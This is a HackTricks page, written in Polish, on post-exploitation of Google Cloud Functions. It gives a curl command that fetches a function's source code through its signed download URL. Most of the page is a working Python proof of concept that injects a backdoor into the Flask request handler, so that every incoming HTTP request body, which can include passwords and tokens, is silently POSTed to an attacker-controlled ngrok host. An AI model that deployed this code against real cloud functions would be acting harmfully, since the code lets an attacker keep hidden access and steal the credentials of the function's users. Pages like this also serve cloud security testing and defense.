GCP - Cloud Functions Post Exploitation

Support HackTricks

Cloud Functions

Znajdź informacje o Cloud Functions w:

cloudfunctions.functions.sourceCodeGet

Dzięki temu uprawnieniu możesz uzyskać podpisany URL, aby móc pobrać kod źródłowy Cloud Function:

curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Kradzież żądań funkcji chmurowej

Jeśli funkcja chmurowa zarządza wrażliwymi informacjami, które użytkownicy wysyłają (np. hasła lub tokeny), przy wystarczających uprawnieniach możesz zmodyfikować kod źródłowy funkcji i wyeksportować te informacje.

Ponadto, funkcje chmurowe działające w pythonie używają flask do udostępniania serwera internetowego. Jeśli w jakiś sposób znajdziesz lukę w kodzie wewnątrz procesu flaks (na przykład lukę SSTI), możliwe jest nadpisanie obsługi funkcji, która ma odbierać żądania HTTP na złośliwą funkcję, która może wyeksportować żądanie przed przekazaniem go do legitnego obsługującego.

Na przykład ten kod implementuje atak:

import functions_framework


# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
"""HTTP Cloud Function.
Args:
request (flask.Request): The request object.
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
Returns:
The response text, or any set of values that can be turned into a
Response object using `make_response`
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
"""

if not last:
return injection()
else:
if error:
return error
else:
return "Hello World!"



# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py

new_function = """
def exfiltrate(request):
try:
from urllib import request as urllib_request
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)
except Exception as e:
if not "read operation timed out" in str(e):
return str(e)

return ""

def new_http_view_func_wrapper(function, request):
def view_func(path):
try:
error = exfiltrate(request)
return function(request._get_current_object(), last=True, error=error)
except Exception as e:
return str(e)

return view_func
"""

def injection():
global new_function
try:
from flask import current_app as app
import flask
import os
import importlib
import sys

if os.access('/tmp', os.W_OK):
new_function_path = "/tmp/function.py"
with open(new_function_path, "w") as f:
f.write(new_function)
os.chmod(new_function_path, 0o777)

if not os.path.exists('/tmp/function.py'):
return "/tmp/function.py doesn't exists"

# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
realpath = os.path.realpath(source_path) # Get full path

# Get the modules representations
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
module_handler = importlib.util.module_from_spec(spec_handler)

spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
module_backdoor = importlib.util.module_from_spec(spec_backdoor)

# Load the modules inside the app context
with app.app_context():
spec_handler.loader.exec_module(module_handler)
spec_backdoor.loader.exec_module(module_backdoor)

# make the cloud funtion use as handler the new function
prev_handler = getattr(module_handler, handler_fname)
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
return "Injection completed!"

except Exception as e:
return str(e)

Last updated